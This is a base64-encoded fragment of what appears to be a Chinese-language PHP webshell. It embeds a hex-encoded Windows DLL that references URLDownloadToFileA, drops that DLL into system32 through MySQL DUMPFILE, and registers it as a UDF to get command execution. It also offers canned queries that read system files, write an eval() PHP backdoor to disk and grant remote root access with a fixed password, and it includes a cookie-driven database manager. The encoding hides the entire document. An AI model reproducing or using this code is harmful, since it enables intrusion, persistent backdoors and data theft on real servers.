yNjQ0MTAxNTI0NzYzNTdEOUQ5MDcwQTJGMDIwNzc0M0NGMkU0Qzk2QzA4NDAwOTE0MEE3M0YwMTA5MzI3NEY5RUM0MTE5NDEyNzAxMzNDNzlFNEM5NDQxODBDMTk3MkU0MUFBQzFCOTMyNzRGOUU3NDFDNEM3ODNDNzk2RUYyRTRDOTJDN0ExQ0ZDMThGRjg2QjI5MzE3RDg1NEREMDM4NTcyMjAwMTA3NDAyNjk5MjgyMDQ4MDAxOTQwMjY5MjEwODQxMDAyMTk5MDA5ODEwMTE5OTAwMTE5MTA4MjAyNjAxQzE2MDIzQjIwRUYyMDBEMEMwNTAxMzMxNjRERDMwQzM2MDMwNzA0MTgwNTBEMzQ0REQzMzQwNjA5MDcwQzA4MzJEODIwODMwOTBBMUIwQkMxQkVGNzAyNTczQjA3MEY1NzVGOTA2RUIwMTAxMzExMDMxMjE3MjEwQzMyRDgyMDM1MEY0MTQzMzZEODYwODM1MDMzNTIxNzUzMDdEODYwODMwRDU3NUY1OTdCNkMxN0QyMzQ0RDM3NkRBQjIwNzAxQzcyRDg2MERGMEJDNzJGODBCMzgxMDc2MDgzMEMzNjgyMUY4Mzg0OEYyMDgzMzRDRDkxMjk5RUExODMwRDMyRDhBNDZGQTdCNzlGQ0U3NjBFQzI2MDFGRDcwQjE4MDcwMDY5QkVCMzVEMDUxN0MwMEIxRDA0OTA2NjQwMDY5NjhEMDg2NDQwMDY2NDhFOEY5MDA2NjQ0MDA2OTE5MjkzQ0MwNjYxNDAwMzlGNzhFRjRENTRFQzI1RkYwMjA0MjIyQjYwMjdDRjBFRjY4Mjc5ODIyMTE3QTZERjA3QTFBNTgxRTlDREYzRUY5RkUwRkMyRjQwN0U4MEZDQThDMUEzREFBMzRGMEQ3MkY2MDg4MUZFMDc0MEI1Nzc4MzBDODEyRjQxQjY1RkNGQTJFNDNFNUYyMUZGQTIxQTAwRTVBMkU4QTI1QjdFQTFGRTUxMDVCRjkyREZFRTAzREE1RURBNUY1RkRBNkFEQTMyRDNEOERFRTBCMjY2MjdCN0Y5MzkzMTdFNDMwMzAzODYwMDY0QUE0MzJFRTk5RTlDODQ1MzhCOTg3Njg0MDM4MEE2Njk5QUE2N0M3ODc0NzA2QzlBQTY2OTlBNjQ1QzU0NDgzQzM0Njk5QUE2NjkyODI0MjAxQzE4QTY2OTlBQTYxNDEwMEMwODA0NEREMzM0OTcwMDc1RkNGOEYwRTREQ0E2RTk5RTM1RDQyRjc1Q0MwM0M0QkM5QUE2Njk5QUIwQTg5QzkwOEM4ODQ5QkVBNjY5ODA2QzY0Q0QyRTgyMUQ2NUJCOEM4RjkwNUMwMzdGMDA5RUYwNDBFODJGNTAwQjgwNzAwN0YwRjExMzI1RENBMEQxNTM1NDk5NTA4QkRENTBDOTQ0NTQ4Q0YzOENEQzk3QjA1ODU5MkNBN0JGMDY2OTlBMEUxRUVGM0I1QTk3NzVBNzY5QkFBN0I1RDRGM0UwMzAxQUI4NkNEMzAzNEU2RDAxMzMzQUI3NTk2OTlBQTY2OTc3OTZCNEQzRjIwQ0RBNzRERDI3MkYwMzRENkMwMUYxMDhBNDgwMDgzNjgwMjQ0NDQxNDQyMTA5ODBEMTA5NjAwMDY0QzE1QjA1NEQ3MzQzMjU3NDY1NTRCNkNCQjc1NzJDMEQ0NDY1NkM2NTQ2NjkwNTQxMEExMDVGREIwQzQ3MEEwOTUzQzVEODczOTNDRDI3MTk1MjJDMEEyM0VDNEY1NkMxNDUxODU2NjE3MjY5NjE2MjIyMTJDMEVDN0Y0MzZDNkY3MzY1NDg2MTZFNjQyNUY2MkFEODBFNEI0QTUwMEI2MzQxN0I3QjU2Njg2NzUzNzkxRDY1NkQ0NDQ3QjdDMUI2NTZGNTIyNzkxNDc0NEU3NDc1MTVCODkzRkQ3MDQ5NkU2NjZGNDEzNTY5NzA0RkIxREJENjJFQTg0NTc4MkEwODUzNUQ2NTcwMkNGQjM2Q0NGRDU2NjU3MjczNjk2RjE2M0I4OTZFNjc1NDc5MkQ2N0RGODU2QzU3MEYxRjRDNDM0RDYxNzAxMTU3MDY4ODJFNjEwRDFCNEQ3MDczRUQ1QkMzNDI3OTEyNkY2NTY0NjU0MzY4ODM2NkU1QUJBMDNERkI2NDRGNjZGMzRDNkZGRDhFNkI2OEZGMzAwQjc0NkM1NTZFNzczQzNENDhENzY3RURBQzdDNzA0MTZDNkMwQTQ2QjFGQjQzMkQ3QjlCRTE2RjZENkQwOTMzNkU3REFDQjM4NTU2OTgyNjczRkIwQjc5MENDNTgwRDg2NkU1MEI1NkFEQjUyMTQxOUM0MjQ5NEQxRTI2M0NDM0Q2MDk2MzBBNTMyNzQwQjAyOURCREFDQTE2QUQxNDcyMTU0MjFCQzBCNjRDNUI3NjJCNzgxMDhDODU4MDI1MEI3N0M1RUI4NDA3QzQ2MDBDNTQyRkI5OThBMTcwQjZEQTc1RDNGODEyRENERDMzMDI1MjQ5NjQzODZDNzM1M0YzQjMzNzhCREQ1NTc1NjUwQzRGMDlERTRCRDIyNThDNTMxRDJENDcxQTA4NkQ2MTg2NDM0Mjc1NTJDOTNCMjQ2MzM2NjQxMkEwRDUwQ0MzNjMxNDFFNEQ2RjY0QkRBMzRFNjE2RDZBM0IyMTYwQkM1RjlFRTQ3MzE4MzAwNDQ3MEEwQ0YzQ0E2NjI0QTNGRDA4RTQyQ0NGRjA0MjU4MTY0MzYxODUzQjFDRkU2NkJGMDg1MDZGNjk5MEM5MDZDMjVFRjk5REZENkI2NTY0NDQ2NTYzMzgxNUMyODQ0RDcyNDk2RTUzRUI0NjBGM0FDMUYxRUY3MzY4NEI0Mjc1NjY2NjNFNkE1MEVDQjEzNjc2MUMwQTQxMEIwNzRGNDU0RDA5MkMxOUZFMTA5MzQxNjQ2NDcyOTdFRjdEMjg0MUJDRDkzQzcxNTU1MjRDNDQwQTVCQTQ2NjgyNzdFM0NFMUM4OEY2RjZGRTM0MDQ1NzUzNDE1Mzg2NEQwMEZGMDQwMkNCQjIyQ0NCMTczOTAzMzQwOTBDOEQzMkI2MkMwQjAyMjY0OUY3RkY3RkFFNkQwQzEwMDI1QzAwMEEwNTJGMEE1MjA1NTQ2NDE3MzUwQkRGRkVGRkZGODExOTEyMTkyQTA2MEIyQTM4NTMxOTMxMEIzMjBEMUI4MDY1MTJFRDI0MDU2NzBCMzAxMDBGMUNGRkZGRkZGRjFCMUI5NjEzMEI1MzBCMUM0NTU0MDU0MDA2NDUxNzExMDYxODBBMTE4MTQ1MTEwQjRDMzEwNTI2NTMwRjdEMUNGQkE1RkZGRjA3OEIxMjE0MDUwQjEyMUIyNzFBMTI0MTY5MUEwOUYwNEJGODNBMDZGMDUyMDEwM0JGRkRGRjdGMDgwMjA3MEYwODBCMDYwNjBBMTgwNTBBMUEwRTA4MDY0MzEyNUMxQjRGNTkwODVBMERBMzdERjY2RkZGMEYxNkYwMzAwMUJBRjAwQUY2MjExNzc1RjBDODAyMDQwMENFMkQwN0U2RURFREJGNUYxMDA3MDcwODI3MEMwQTA4MzAwQTA2MDgwNTBDMDUwQ0JGQjVGRkJCMTYwMzA4MTMwODJEMUIxMDA2MEYwNjA3MDkyMUFFMDhGMDRGMDIwRTZCQkZCNUVEMDYxQTA1MEYxMDdFQTIwNjA1MDYwRDFEMTUzNDlCRkJGNjlCMjI0NEE2RjBFRDAxMjAxMzA2MTYwNzBGMTgxMEZCRkZEQkRCMDkxQTU3MTM2MkE5ODUwRTBCMTQwNjBFMDkxMTFDMEYxMjA5MUMyMzBBMDNGRkZGRkZCRjBDMTM3RjBBMUNGMEYyMDAwNzE5NDIxMjMxMEMwQjBGMEFGMDAzMDJGMDREMDEyQzBDMUMxOTFBMDgxMUY2RUQ1QkZCMDUwRDA1RjAwNTQ5QkYwNTM4MEMwNzU3MDcwQTE5MDg4RURCQURGRERCMDU2NjNBMDgxQTA2MTExOTBDNzExMzA4MUUwOTE3RjZGRjBCNkYxNzYyMTgwNjQyMjIxNDMyMDcxNTMyMEEyMTE1MjQyQTBFMzExQ0Y2REY2RUZGMjEyNTBGMEYzMjEwNDNDQjE0MEU0NzA2NUIwNzQ4NDVFMzE5MzUzOURCREY2RUZGMEMxMDNGNTAxMzNFMTI4MjI2MEQ4RTEzMjcwRjQyMTQxRTZEMTU3Q0ZCRkY2RkFBMEUxMzc3MEQyNTFDMTM3NEEwNEQxODE1NEE0ODE3MTJFMzA4NEIyNTEyODQyRjZDMkY0NzU1MDExOEVGMDUxRDI5MjYxQTA3Mjg0MkVFREUxRDRBMDYwNDY2MEIxQjA3MTYxRDJBMzJGRkI3Qjc3RjcyMjgwNjBDM0IwODI5NzEwRDBDMjM0RjYwMzkxNTBEM0QyMjA4NEMwRjE5NjE1QkZCRkYyNjJFMEYyMDIyMkQxNDNBMDcyNjE4MUEwQjgzQTY3QzU2REJGRkZGMTM4QUYwRkIwMDc5MEMxNTBCMkVGMEQ5MDExQzBEMEQxMzA5MEMzMkMyMjFCNzY2NzhFMTA2MjEwQTFEMDgxNzE1QTkxOUU4MEIwQUZCREYwQTBCNkU0MzJDMDAxOTA2NkYwNjFFMTExMzE1MUVGOTUwNjg4NTdGMTAyMTBDMTIwRTBGMTE3NTk2NDdCRkYwMEJDREI4NUM3RUYwNTYwMTFFNTUwRjBBQzYwQTg5MDUwQkZGQkZCNTFGNEMzNTA4MEUxRTFEMTgyMDU4MTYzMzY4MjU0NjA1MDMwNzE3RkVBRDZERkMxMDNEMTA1NjEyRjAzRTAxRUM0OEIyNEYzMEJENzFFMUI3NUIwNDVFMkYwRjU4MzhFQTNDN0QzODEwMDQwQ0ZCNzZGMzgzMDFGMEI0MDMwNDA4RjBBQzBBMERGMDE0MDEwNDE3Qzg5MTVEN0UyMDEwMTA4NDA4MDIwODAwMDQ2NDUzMjAzRkYwMjQwNjA4MDQxMDA5RjkyRjcxRTkwQzlDNjQ1MDQ1QTU0QzAxMDQwMEIyOTc2QTQ2QUE0RUY5MEZFMDAwMEUyMTBCMDEwNjI2NEIwMDRGMjZBOTI0NDExMEJERUMzQ0ZCMDkxMDBGMDQwMDA3MDBEMEIyMzdFOTgyMjcyQTAyMDIwNzlCNkQ3RUQ4MUU4RDAwMDA3MUM4ODY2MjAyODVCOTY1MEFDMDY0OEEwMDJCOENBQTRCQTc0NEIwMTAwQzc2RjkyRTc0NjU3ODc0NDY2MTkwNzBFMkFEMkE2NTc0Q0Q2MDJFNzIxMjY2OUQyQkMxQUIwRDUzMDNGQjVFNzNEOTAyNDAyRTI2Q0YyNDI3QjYyOTE5QTQ5MDkwQzA0RjY1MTlFQzZCMEY3RDU4NEZDMDI3QTA2RjZFQkYyOTQyMUI1Qzg4MTA1MUM0ODlDNzAwMDAwMDAwMDAwMDAwODAwNDAwRkYwMDgwN0MyNDA4MDEwRjg1QzIwMTAwMDA2MEJFMDBBMDAwMTA4REJFMDA3MEZGRkY1NzgzQ0RGRkVCMEQ5MDkwOTA4QTA2NDY4ODA3NDcwMURCNzUwNzhCMUU4M0VFRkMxMURCNzJFREI4MDEwMDAwMDAwMURCNzUwNzhCMUU4M0VFRkMxMURCMTFDMDAxREI3M0VGNzUwOThCMUU4M0VFRkMxMURCNzNFNDMxQzk4M0U4MDM3MjBEQzFFMDA4OEEwNjQ2ODNGMEZGNzQ3NDg5QzUwMURCNzUwNzhCMUU4M0VFRkMxMURCMTFDOTAxREI3NTA3OEIxRTgzRUVGQzExREIxMUM5NzUyMDQxMDFEQjc1MDc4QjFFODNFRUZDMTFEQjExQzkwMURCNzNFRjc1MDk4QjFFODNFRUZDMTFEQjczRTQ4M0MxMDI4MUZEMDBGM0ZGRkY4M0QxMDE4RDE0MkY4M0ZERkM3NjBGOEEwMjQyODgwNzQ3NDk3NUY3RTk2M0ZGRkZGRjkwOEIwMjgzQzIwNDg5MDc4M0M3MDQ4M0U5MDQ3N0YxMDFDRkU5NENGRkZGRkY1RTg5RjdCOTk2MDEwMDAwOEEwNzQ3MkNFODNDMDE3N0Y3ODAzRjBBNzVGMjhCMDc4QTVGMDQ2NkMxRTgwOEMxQzAxMDg2QzQyOUY4ODBFQkU4MDFGMDg5MDc4M0M3MDU4OEQ4RTJEOThEQkUwMEMwMDAwMDhCMDcwOUMwNzQ0NThCNUYwNDhEODQzMDAwRTAwMDAwMDFGMzUwODNDNzA4RkY5NjUwRTAwMDAwOTU4QTA3NDcwOEMwNzREQzg5Rjk3OTA3MEZCNzA3NDc1MDQ3Qjk1NzQ4RjJBRTU1RkY5NjU0RTAwMDAwMDlDMDc0MDc4OTAzODNDMzA0RUJEODYxMzFDMEMyMEMwMDgzQzcwNDhENUVGQzMxQzA4QTA3NDcwOUMwNzQyMjNDRUY3NzExMDFDMzhCMDM4NkM0QzFDMDEwODZDNDAxRjA4OTAzRUJFMjI0MEZDMUUwMTA2NjhCMDc4M0M3MDJFQkUyOEJBRTU4RTAwMDAwOERCRTAwRjBGRkZGQkIwMDEwMDAwMDUwNTQ2QTA0NTM1N0ZGRDU4RDg3RkYwMTAwMDA4MDIwN0Y4MDYwMjg3RjU4NTA1NDUwNTM1N0ZGRDU1ODYxOEQ0NDI0ODA2QTAwMzlDNDc1RkE4M0VDODBFOUM3M0NGRkZGMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwNzBGMDAwMDA1MEYwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDdERjAwMDAwNjBGMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA4OEYwMDAwMDY4RjAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDkyRjAwMDAwQTBGMDAwMDBCMEYwMDAwMDAwMDAwMDAwQzBGMDAwMDAwMDAwMDAwMDczMDAwMDgwMDAwMDAwMDA0QjQ1NTI0RTQ1NEMzMzMyMkU0NDRDNEMwMDc1NzI2QzZENkY2RTJFNjQ2QzZDMDA1NzUzMzI1RjMzMzIyRTY0NkM2QzAwMDA0QzZGNjE2NDRDNjk2MjcyNjE3Mjc5NDEwMDAwNDc2NTc0NTA3MjZGNjM0MTY0NjQ3MjY1NzM3MzAwMDA1NjY5NzI3NDc1NjE2QzUwNzI2Rjc0NjU2Mzc0MDAwMDU1NTI0QzQ0NkY3NzZFNkM2RjYxNjQ1NDZGNDY2OTZDNjU0MTAwMDAwMDAwMDAwMDAwMDBCMTk3NkE0NjAwMDAwMDAwMUVGMTAwMDAwMTAwMDAwMDAzMDAwMDAwMDMwMDAwMDAwMEYxMDAwMDBDRjEwMDAwMThGMTAwMDA5MDEwMDAwMDkwMTUwMDAwODAxMDAwMDAyQkYxMDAwMDMxRjEwMDAwM0VGMTAwMDAwMDAwMDEwMDAyMDA2RDc5NzM3MTZDNDQ2QzZDMkU2NDZDNkMwMDczNzQ2MTc0NjUwMDczNzQ2MTc0NjU1RjY0NjU2OTZFNjk3NDAwNzM3NDYxNzQ2NTVGNjk2RTY5NzQwMDAwMDAwMDAwRTAwMDAwMEMwMDAwMDAxRDM2MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMCI7DQoJCQkJCQkJCSRxdWVyeT0iSU5TRVJUIGludG8gdWRmX3RlbXAgdmFsdWVzIChDT05WRVJUKCRjb2RlLENIQVIpKTsiOw0KCQkJCQkJCQlpZighbXlzcWxfcXVlcnkoJHF1ZXJ5LCAkbGluaykpDQoJCQkJCQkJCXsNCgkJCQkJCQkJCW15c3FsX3F1ZXJ5KCdEUk9QIFRBQkxFIHVkZl90ZW1wJywgJGxpbmspIG9yIGRpZShteXNxbF9lcnJvcigpKTsNCgkJCQkJCQkJCWRpZSgnsLLXsGRsbMqnsNwnLm15c3FsX2Vycm9yKCkpOw0KCQkJCQkJCQl9DQoJCQkJCQkJCWVsc2UNCgkJCQkJCQkJew0KCQkJCQkJCQkJJGRsbG5hbWUgPSAibXlzcWxEbGwuZGxsIjsNCgkJCQkJCQkJCWlmKGZpbGVfZXhpc3RzKCJjOlxcd2luZG93c1xcc3lzdGVtMzJcXCIpKSAkZGlyPSJjOlxcXFx3aW5kb3dzXFxcXHN5c3RlbTMyXFxcXG15c3FsRGxsLmRsbCI7DQoJCQkJCQkJCQllbHNlaWYoZmlsZV9leGlzdHMoImM6XFx3aW5udFxcc3lzdGVtMzJcXCIpKSAkZGlyPSJjOlxcXFx3aW5udFxcXFxzeXN0ZW0zMlxcXFxteXNxbERsbC5kbGwiOw0KCQkJCQkJCQkJaWYoZmlsZV9leGlzdHMoJGRpcikpIHsNCgkJCQkJCQkJCQkkdGltZSA9IHRpbWUoKTsNCgkJCQkJCQkJCQkkZGlyID0gc3RyX3JlcGxhY2UoIm15c3FsRGxsIiwibXlzcWxEbGxfJHRpbWUiLCRkaXIpOw0KCQkJCQkJCQkJCSRkbGxuYW1lID0gc3RyX3JlcGxhY2UoIm15c3FsRGxsIiwibXlzcWxEbGxfJHRpbWUiLCRkbGxuYW1lKTsNCgkJCQkJCQkJCX0NCgkJCQkJCQkJCSRxdWVyeSA9ICJTRUxFQ1QgdWRmIEZST00gdWRmX3RlbXAgSU5UTyBEVU1QRklMRSAnIi4kZGlyLiInOyIgOw0KCQkJCQkJCQkJaWYoIW15c3FsX3F1ZXJ5KCRxdWVyeSwgJGxpbmspKQ0KCQkJCQkJCQkJew0KCQkJCQkJCQkJCWRpZSgisLLXsMqnsNw6JGRpcs7eyKgiLm15c3FsX2Vycm9yKCkpOw0KCQkJCQkJCQkJfQ0KCQkJCQkJCQkJZWxzZQ0KCQkJCQkJCQkJew0KCQkJCQkJCQkJCWVjaG8gJzxmb250IHN0eWxlPWZvbnQ6MTFwdCBjb2xvcj1mZjAwMDA+Jy4kZGlyLiewstews8m5pjwvZm9udD48YnI+JzsNCgkJCQkJCQkJCX0NCgkJCQkJCQkJfQ0KCQkJCQkJCQlteXNxbF9xdWVyeSgnRFJPUCBUQUJMRSB1ZGZfdGVtcCcsICRsaW5rKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7DQoJCQkJCQkJCSRyZXN1bHQgPSBteXNxbF9xdWVyeSgiQ3JlYXRlIEZ1bmN0aW9uIHN0YXRlIHJldHVybnMgc3RyaW5nIHNvbmFtZSAnJGRsbG5hbWUnIiwgJGxpbmspIG9yIGRpZShteXNxbF9lcnJvcigpKTsNCgkJCQkJCQkJaWYoJHJlc3VsdCkgew0KCQkJCQkJCQkJZWNobyAis8m5pjxicj48YSBocmVmPSc/Jz63tbvYPC9hPiI7DQoJCQkJCQkJCQlleGl0KCk7DQoJCQkJCQkJCX0NCgkJCQkJCQl9DQoJCQkJCX0NCgkJCQkJJHNzPXN0cmlwc2xhc2hlcygkcG9zdF9zcWwpOw0KCQkJCQlwcmludDw8PEVORA0KPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249Ij9zPW4mbz10cSI+DQo8dGV4dGFyZWEgbmFtZT0icG9zdF9zcWwiIHN0eWxlPSJ3aWR0aDo3MDBweDtoZWlnaHQ6MjAwcHg7Ij57JHNzfTwvdGV4dGFyZWE+PGJyPg0KPGlucHV0IG5hbWU9Imluc3RhbGwiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IrCy17BETEy688PFIj4gPGlucHV0IG5hbWU9IiIgdHlwZT0ic3VibWl0IiB2YWx1ZT0i1rTQ0ENNRNPvvuQiPjxicj48L2Zvcm0+DQpFTkQ7DQoJCQkJCWlmICgkX1BPU1RbcG9zdF9zcWxdKSB7DQoJCQkJCQkkbGluayA9IG15c3FsX2Nvbm5lY3QgKCRtaG9zdCwkbXVzZXIsJG1wYXNzKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7DQoJCQkJCQlpZigkbWRhdGEpIG15c3FsX3NlbGVjdF9kYigkbWRhdGEsJGxpbmspIG9yIGRpZShteXNxbF9lcnJvcigpKTsNCgkJCQkJCSRxdWVyeSA9IHN0cmlwc2xhc2hlcygkcG9zdF9zcWwpOw0KCQkJCQkJJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRxdWVyeSwgJGxpbmspICBvciBkaWUobXlzcWxfZXJyb3IoKSk7DQoJCQkJCQllY2hvICI8YnI+PHRleHRhcmVhIG5hbWU9XCJwb3N0X3NxbFwiIHN0eWxlPVwid2lkdGg6NzAwcHg7aGVpZ2h0OjIwMHB4O1wiPiI7DQoJCQkJCQllY2hvICgkcmVzdWx0KSA/ICJEb25lOiRyZXN1bHRcblxuIiA6ICJlcnJvcjokcmVzdWx0XG5cbiAiLm15c3FsX2Vycm9yKCk7DQoJCQkJCQl3aGlsZSAoJHJvdyA9ICBAbXlzcWxfZmV0Y2hfYXJyYXkgKCRyZXN1bHQpKSB7DQoJCQkJCQkJcHJpbnRfciAoJHJvdyk7DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQkJZWNobyAiPC90ZXh0YXJlYT4iOw0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQlpZighZW1wdHkoJF9QT1NUWydtc3FsJ10pKQ0KCQkJCQl7DQoJCQkJCQkkbXNxbCA9ICRfUE9TVFsnbXNxbCddOw0KCQkJCQkJaWYoJHJlc3VsdCA9IEBteXNxbF9xdWVyeSgkbXNxbCwkY29ubikpDQoJCQkJCQl7DQoJCQkJCQkJJE1TR19CT1ggPSAn1rTQ0FNRTNPvvuSzybmmPGJyPic7DQoJCQkJCQkJJGsgPSAwOw0KCQkJCQkJCXdoaWxlKCRyb3cgPSBAbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpeyRNU0dfQk9YIC49ICRyb3dbJGtdOyRrKys7fQ0KCQkJCQkJfQ0KCQkJCQkJZWxzZSAkTVNHX0JPWCAuPSBteXNxbF9lcnJvcigpOw0KCQkJCQl9DQoJCQkJCXByaW50PDw8RU5EDQo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4NCmZ1bmN0aW9uIG5GdWxsKGkpew0KCVN0ciA9IG5ldyBBcnJheSgxMSk7DQoJU3RyWzBdID0gInNlbGVjdCB2ZXJzaW9uKCk7IjsNCglTdHJbMV0gPSAic2VsZWN0IGxvYWRfZmlsZSgweDYzM0E1QzVDNjI2RjZGNzQyRTY5NkU2OSkgRlJPTSB1c2VyIGludG8gb3V0ZmlsZSAnRDovL2EudHh0JyI7DQoJU3RyWzJdID0gInNlbGVjdCAnPD9waHAgZXZhbChcJF9QT1NUW2NtZF0pOz8+JyBpbnRvIG91dGZpbGUgJ0Y6Ly9hLnBocCc7IjsNCglTdHJbM10gPSAiR1JBTlQgQUxMIFBSSVZJTEVHRVMgT04gKi4qIFRPICdyb290J0AnJScgSURFTlRJRklFRCBCWSAnMTIzNDU2JyBXSVRIIEdSQU5UIE9QVElPTjsiOw0KCW5mb3JtLm1zcWwudmFsdWUgPSBTdHJbaV07DQoJcmV0dXJuIHRydWU7DQp9DQo8L3NjcmlwdD4NCjx0ZXh0YXJlYSBuYW1lPSJtc3FsIiBzdHlsZT0id2lkdGg6NzAwcHg7aGVpZ2h0OjIwMHB4OyI+eyRtc3FsfTwvdGV4dGFyZWE+PC9kaXY+DQo8ZGl2IGNsYXNzPSJhY3RhbGwiPg0KPHNlbGVjdCBvbmNoYW5nZT0icmV0dXJuIG5GdWxsKG9wdGlvbnNbc2VsZWN0ZWRJbmRleF0udmFsdWUpIj4NCgk8b3B0aW9uIHZhbHVlPSIwIiBzZWxlY3RlZD7P1Mq+sOaxvjwvb3B0aW9uPg0KCTxvcHRpb24gdmFsdWU9IjEiPrW8s/bOxLz+PC9vcHRpb24+DQoJPG9wdGlvbiB2YWx1ZT0iMiI+0LTI687EvP48L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSIzIj6/qsb0zeLBrDwvb3B0aW9uPg0KPC9zZWxlY3Q+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0i1rTQ0CIgc3R5bGU9IndpZHRoOjgwcHg7Ij4NCkVORDsNCgkJCQl9DQoJCQkJaWYoJE1TR19CT1ggIT0gJycpIGVjaG8gJzwvZGl2PjxkaXYgY2xhc3M9ImFjdGFsbCI+Jy4kTVNHX0JPWC4nPC9kaXY+PC9jZW50ZXI+PC9mb3JtPic7DQoJCQkJZWxzZSBlY2hvICc8L2Rpdj48L2NlbnRlcj48L2Zvcm0+JzsNCgkJCQlyZXR1cm4gdHJ1ZTsNCgkJfQ0KCQkvL01ZU1FMudzA7Q0KCQlmdW5jdGlvbiBNeXNxbF9MZW4oJGRhdGEsJGxlbikNCgkJew0KCQkJaWYoc3RybGVuKCRkYXRhKSA8ICRsZW4pIHJldHVybiAkZGF0YTsNCgkJCXJldHVybiBzdWJzdHJfcmVwbGFjZSgkZGF0YSwnLi4uJywkbGVuKTsNCgkJfQ0KCQlmdW5jdGlvbiBNeXNxbF9Nc2coKQ0KCQl7DQoJCQkkY29ubiA9IEBteXNxbF9jb25uZWN0KCRfQ09PS0lFWydtX3NpbGljaG9zdCddLic6Jy4kX0NPT0tJRVsnbV9zaWxpY3BvcnQnXSwkX0NPT0tJRVsnbV9zaWxpY3VzZXInXSwkX0NPT0tJRVsnbV9zaWxpY3Bhc3MnXSk7DQoJCQlpZigkY29ubikNCgkJCXsNCgkJCQlwcmludDw8PEVORA0KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQpmdW5jdGlvbiBEZWxvayhtc2csZ291cmwpDQp7DQoJc21zZyA9ICLIt7ao0qrJvrP9WyIgKyB1bmVzY2FwZShtc2cpICsgIl3C8D8iOw0KCWlmKGNvbmZpcm0oc21zZykpe3dpbmRvdy5sb2NhdGlvbiA9IGdvdXJsO30NCn0NCmZ1bmN0aW9uIENyZWF0ZW9rKGFjKQ0Kew0KCWlmKGFjID09ICdhJykgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ25zcWwnKS52YWx1ZSA9ICdDUkVBVEUgVEFCTEUgbmFtZSAoc3BpZGVyIEJMT0IpOyc7DQoJaWYoYWMgPT0gJ2InKSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbnNxbCcpLnZhbHVlID0gJ0NSRUFURSBEQVRBQkFTRSBuYW1lOyc7DQoJaWYoYWMgPT0gJ2MnKSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbnNxbCcpLnZhbHVlID0gJ0RST1AgREFUQUJBU0UgbmFtZTsnOw0KCXJldHVybiBmYWxzZTsNCn0NCjwvc2NyaXB0Pg0KRU5EOw0KCQkJCSRCT09MID0gZmFsc2U7DQoJCQkJJE1TR19CT1ggPSAn08O7pzonLiRfQ09PS0lFWydtX3NpbGljdXNlciddLicgJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7ILXY1rc6Jy4kX0NPT0tJRVsnbV9zaWxpY2hvc3QnXS4nOicuJF9DT09LSUVbJ21fc2lsaWNwb3J0J10uJyAmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsgsOaxvjonOw0KCQkJCSRrID0gMDsNCgkJCQkkcmVzdWx0ID0gQG15c3FsX3F1ZXJ5KCdzZWxlY3QgdmVyc2lvbigpOycsJGNvbm4pOw0KCQkJCXdoaWxlKCRyb3cgPSBAbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpeyRNU0dfQk9YIC49ICRyb3dbJGtdOyRrKys7fQ0KCQkJCWVjaG8gJzxkaXYgY2xhc3M9ImFjdGFsbCI+IMr9vt2/4jonOw0KCQkJCSRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0hPVyBEQVRBQkFTRVMiLCRjb25uKTsNCgkJCQl3aGlsZSgkZGIgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSl7ZWNobyAnJm5ic3A7Jm5ic3A7WzxhIGhyZWY9Ij9zPXImZGI9Jy4kZGJbJ0RhdGFiYXNlJ10uJyI+Jy4kZGJbJ0RhdGFiYXNlJ10uJzwvYT5dJzt9DQoJCQkJZWNobyAnPC9kaXY+JzsNCgkJCQlpZihpc3NldCgkX0dFVFsnZGInXSkpDQoJCQkJew0KCQkJCQlteXNxbF9zZWxlY3RfZGIoJF9HRVRbJ2RiJ10sJGNvbm4pOw0KCQkJCQlpZighZW1wdHkoJF9QT1NUWyduc3FsJ10pKXskQk9PTCA9IHRydWU7ICRNU0dfQk9YID0gbXlzcWxfcXVlcnkoJF9QT1NUWyduc3FsJ10sJGNvbm4pID8gJ9a00NCzybmmJyA6ICfWtNDQyqew3CAnLm15c3FsX2Vycm9yKCk7fQ0KCQkJCQlpZihpc19hcnJheSgkX1BPU1RbJ2luc3FsJ10pKQ0KCQkJCQl7DQoJCQkJCQkkcXVlcnkgPSAnSU5TRVJUIElOVE8gJy4kX0dFVFsndGFibGUnXS4nICgnOw0KCQk